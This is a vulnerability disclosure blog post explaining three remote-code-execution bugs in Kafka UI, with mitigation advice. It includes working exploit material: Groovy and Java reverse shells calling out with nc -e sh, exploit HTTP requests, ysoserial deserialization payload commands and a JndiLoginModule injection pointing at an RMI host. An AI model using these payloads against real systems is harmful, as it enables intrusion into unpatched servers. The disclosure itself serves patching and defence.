3 ways to get Remote Code Execution in Kafka UI

In this blog post, we’ll explain how we discovered three critical vulnerabilities in Kafka UI and how they can be exploited.

| 10 minutes

Kafka UI is a popular open source web application designed to manage and monitor Apache Kafka clusters. It is used mainly by developers and administrators to provide visual representation of the connected Kafka clusters. Some users may not be aware that in its default configuration, Kafka UI does not require authentication to read and write data. This results in many unprotected Kafka UI instances deployed in internal networks or even being exposed to the internet. It might not be seen as a major security issue, as the data exposed might be public or not sensitive at all, but it may open a door to the internal network.

In my security research, I was curious, perhaps I can find a way not only to see the messages sent to Kafka, but also read files, discover credentials or even get a Remote Code Execution (RCE). In this blog post, I’ll share my journey of how I was able to find three different RCE vulnerabilities in Kafka UI.

These vulnerabilities are fixed in version 0.7.2, so if you use Kafka UI, please make sure to upgrade!

CVE-2023-52251: RCE via Groovy script execution

After going through the web interface of Kafka UI, the message filtering functionality caught my attention. Kafka UI allows you to provide a simple query to filter messages on the server side. When I looked at the source code, I discovered that internally Kafka supports the GROOVY_SCRIPT filter type and evaluates it as a Groovy script, which makes it possible for an attacker to get arbitrary code execution.

MessageFilters.java:


public static Predicate createMsgFilter(String query, MessageFilterTypeDTO type) {
    switch (type) {
      case STRING_CONTAINS:
        return containsStringFilter(query);
      case GROOVY_SCRIPT:
        return groovyScriptFilter(query);
      default:
        throw new IllegalStateException("Unknown query type: " + type);
    }
  }

To test it, navigate through the UI to one of the clusters, then select one of the topics and click on the “Messages” tab. Then, create a new filter with the following content:

new ProcessBuilder("nc","host.docker.internal","1234","-e","sh").start()

Filter that spawns ProcessBuilder with a reverse shell

This Groovy script will spawn a new process with a reverse shell to your address. When we do this through UI, the browser sends the following request to the server:

GET /api/clusters/local/topics/topic/messages?q=new%20ProcessBuilder(%22nc%22,%22host.docker.internal%22,%221234%22,%22-e%22,%22sh%22).start()&filterQueryType=GROOVY_SCRIPT HTTP/1.1
Host: 127.0.0.1:8091

You can reissue and experiment with this request in the HTTP client like Burp Suite Repeater.

Http request to trigger the exploit with reverse shell

The default Kafka Docker image has Netcat installed, but if it does not work, you can also use a more complicated reverse shell Groovy script such as this:


String host="localhost";
int port=1445;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
  while(pi.available()>0) so.write(pi.read());
  while(pe.available()>0) so.write(pe.read());
  while(si.available()>0) po.write(si.read());
  so.flush();
  po.flush();
  Thread.sleep(50);
  try {p.exitValue();
    break;
  }
  catch (Exception e){}
};
p.destroy();
s.close();

Note that for this exploit to be successful, the connected Kafka cluster (“local” in the example) should have at least one topic enabled with some messages inside. If not, an attacker can leverage Kafka UI’s API to create them:

POST /api/clusters/local/topics HTTP/1.1
Host: 127.0.0.1:8091
Content-Length: 92
Content-Type: application/json

{"name":"topic","partitions":1,"configs":{"cleanup.policy":"delete","retention.bytes":"-1"}}
POST /api/clusters/local/topics/topic/messages HTTP/1.1
Host: 127.0.0.1:8091
Content-Length: 85
Content-Type: application/json

{"partition":0,"key":"123","content":"123","keySerde":"String","valueSerde":"String"}

It’s important to note that even if Kafka is protected by authentication and has at least one topic with messages inside, the RCE can be triggered from a simple GET HTTP request. So, it can also be exploited with a CSRF-style attack by sending a phishing link and opening it from the admin’s browser.

I reported this vulnerability to Kafka UI’s maintainers on November 28, 2023 and it was patched only on April 10, 2024 in the 0.7.2 release. Later, we discovered that the same vulnerability had been reported by another researcher, who had already published an exploit for it even before the fix was released, leaving a lot of Kafka UI instances unprotected.

CVE-2024-32030: RCE via JMX connector

Another attack surface exposed by Kafka UI is an ability to connect to any Kafka cluster. Normally, Kafka UI takes the cluster configuration from the local application.yml file, but if the setting dynamic.config.enabled is enabled, Kafka UI can also be reconfigured via API. This property is not enabled by default, but it’s suggested to be enabled in many tutorials for Kafka UI, including its own README.md.

I experimented a little bit with studying the Kafka protocol, which is a proprietary binary protocol. My idea was to set up a malicious Kafka broker and connect Kafka UI to it, thereby triggering something interesting. While testing this feature, I noticed that Kafka UI also provides the ability to monitor the performance of Kafka brokers. To do this, Kafka UI’s backend connects to their JMX ports. This feature is particularly interesting from a security perspective, as JMX is a complex protocol that is based on RMI, so it’s inherently susceptible to deserialization attacks.

Specifically, I discovered that I could make a Kafka UI backend connect to an arbitrary JMX server by adding a new Kafka cluster through the UI. To test it, navigate to the dashboard and click on “Configure New Cluster.”. Then, set the following parameters:

Kafka UI menu to create a new cluster jmx-exploit pointing to host.docker.internal:9093

Kafka UI menu to create a new cluster jmx-exploit pointing to host.docker.internal:9093

When you click on “Submit” button, the browser sends the new configuration in the JSON format:

PUT /api/config HTTP/1.1
Host: localhost:8091
Content-Length: 194
Content-Type: application/json
Connection: close

{"config":{"properties":{"auth":{"type":"DISABLED"},"rbac":{"roles":[]},"webclient":{},"kafka":{"clusters":[{"name":"local","bootstrapServers":"kafka:9092","properties":{},"readOnly":false},
{"name":"jmx-exploit1","bootstrapServers":"host.docker.internal:9093","metrics":{"type":"JMX","port":1718},"properties":{},"readOnly":false}]}}}}

When Kafka UI processes this request, it first tries to connect to the Kafka cluster bootstrap server from the ‘bootstrapServers’ value. If the connection is successful, the bootstrap server returns a list of Kafka brokers (nodes). This is normally the value specified in the KAFKA_ADVERTISED_LISTENERS property of Kafka.

Then, Kafka UI tries to connect to one of the brokers using the following JMX address:

jmx:rmi:///jndi/rmi://:/jmxrmi

This may trigger the “famous” JNDI attack, similar to what we saw in Log4j and many other Java products.

To achieve RCE via JNDI vector, we cannot use the ‘classic’ attack method via ‘classFactoryLocation’ as it is patched in modern JDKs. Another method of exploiting Object Factories also does not work for Kafka UI, as it does not contain the required classes. Nevertheless, as of May 2024, we can still perform a deserialization attack even in the most recent JDKs. So, instead of setting up a legitimate JMX port, an attacker can create an RMI listener that returns a malicious serialized object for any RMI call.

The only caveat for this attack was to find a suitable gadget chain. All the public gadget chains from the ysoserial tool did not work for me, as Kafka UI had recent versions of Commons Collections and similar libraries. While searching for a proper gadget chain, I stumbled upon an interesting HackerOne report that exploits a similar vulnerability in Kafka connect. The reporter used an unusual gadget chain based on the Scala library, which turned out to be exactly what I needed. I quickly ported that chain into my ysoserial fork to create a proof of the concept exploit. I’ll explain how to use the exploit below, but also feel free to check out the gadget chain generation code if you’re curious what happens inside. This gadget chain and exploit details are quite complex by their nature.

Reproduction steps

To demonstrate a malicious broker and JMX listeners, I created a special docker compose.yml file. Its services kafka-malicious-broker, ysoserial-stage1 and ysoserial-stage2 are designed by me specifically for the exploitation of this CVE. The only modification you need to make to this file is to change the advertised address on the malicious Kafka broker and JMX endpoints from ‘host.internal.docker’ to your own host, which is reachable from the target Kafka UI instance.

So, to reproduce this, you would need to use Kafka UI to connect to the malicious broker bootstrap address host.internal.docker:9093 as I explained above and set the JMX port option to 1718. Then, Kafka will connect to the JMX port at host.internal.docker:1718 which should be forwarded to the ysoserial-stage1 docker container.

This container responds with the Scala1 payload generated by the following command:

java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"

Console log shows incoming incoming connection to JRMP listener on port 1718

This payload will be deserialized on the Kafka UI side. It does not trigger RCE directly, but leads to setting the system property org.apache.commons.collections.enableUnsafeSerialization to true. You may notice some errors in Kafka UI logs, this is expected:

Stack trace shows cannot invoke scala.math.Ordering.compare error

Then, we need to resend the PUT /api/config request to Kafka UI but change the JMX port to 1719, which will be forwarded to the ysoserial-stage2 container. This container returns the following ysoserial payload:

java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1719 CommonsCollections7 "nc host.docker.internal 1234 -e sh"

As long as org.apache.commons.collections.enableUnsafeSerialization has been enabled earlier by the Scala payload, it will lead to the execution of the nc host.docker.internal 1234 -e sh command in the Kafka UI Java process. This will finally spawn a reverse shell that connects to host.docker.container:1234 TCP port.

If you’re curious how deserialization triggers System.setProperty and command execution, feel free to have a look at the source code for corresponding gadget chains: Scala1.java and CommonsCollections7.java

Also, you may set a breakpoint at StreamRemoteCall.java#L271 to see how an object is deserialized.

Patch

Similar to the previous issue, it took almost six months for developers to implement a fix in version 0.7.2 of Kafka UI. They fixed it by only updating the Apache Commons Collections library to the newer version. While it prevents the second stage of the gadget chain I shared above, the deserialization of untrusted data still can occur.

As the deserialization happens during an RMI call, the code that actually calls ObjectInputStream.readObject() is located in the JDK, not in the Kafka UI codebase. One of the other ways we suggest remediating the risk is to only allow deserialization of certain classes. JEP-290 provides the ability to use the jdk.serialFilter property to define a process wide allowlist for classes that are safe to deserialize.

For example, we can use the following filter to prevent deserialization of many library classes:

-Djdk.serialFilter="java.lang.*;java.math.*;java.util.**;javax.management.**;java.rmi.**;javax.security.auth.Subject;!*"

This filter still allows JMX to function properly, but it’s just a suggestion that needs to be tested thoroughly.

CVE-2023-25194: RCE via JndiLoginModule

After I managed to achieve RCE via the JMX exploit, I realized that the Kafka Connect vulnerability I saw in the HackerOne report can also be exploited in Kafka UI.

Kafka UI has a special endpoint that allows testing a connection to Kafka cluster with custom properties. It can be invoked by sending the following request:

PUT /api/config/validated HTTP/1.1
Host: localhost:8091
Content-Length: 409
Content-Type: application/json

{"properties":{"kafka":{"clusters":[{"name":"test","bootstrapServers":"host.docker.internal:9093","properties":{"security.protocol":"SASL_PLAINTEXT","sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"rmi://host.docker.internal:1718/x\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"x\";","sasl.mechanism":"x"},"readOnly":false}]}}}

Here, we can set some special cluster properties such as "security.protocol":"SASL_PLAINTEXT" and "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule. The exploitation of this issue is similar to the JMX exploit (CVE-2024-32030); we can reuse the same gadget chain and docker containers. In this case, we don’t even need to spin up a malicious Kafka instance at host.docker.internal:9093, as the JNDI call happens before that.

Again, Kafka UI is only vulnerable to this CVE when the dynamic.config.enabled property is set to true. Otherwise, we cannot change the cluster properties at all and therefore our attack does not work.

Fortunately, Kafka UI’s 0.7.2 release also brings the updated dependency for Kafka Connect. This fixes the issue by entirely prohibiting the usage of the JndiLoginModule.

Testing setup

If you want to test all these exploits locally, here is the compose.yml script I created specifically for testing and debugging Kafka UI. Just by using this script and the docker compose up command, you can spawn docker containers for Kafka UI, Kafka broker, and Apache Zookeeper. When it starts, Kafka UI becomes available at http://localhost:8091/. This also spawns a malicious Kafka broker and a couple of ysoserial instances that I used to demonstrate the proof-of-concept exploit.

Final thoughts

Kafka UI is a modern application that uses powerful Java features for monitoring Kafka clusters, such as Groovy scripting, JMX, and SASL JAAS. When exposed to user’s input, these features should be carefully restricted to prevent potential misuse. These technologies are not unique to Kafka UI but provided by the Java Development Kit and used in many other projects. Over the last few years, JDK developers introduced a lot of hardening to JMX and JNDI exploitation, patching some of the attack vectors. Nevertheless, as we can see, they are still exploitable in some circumstances, even in the latest JDK builds.

Related posts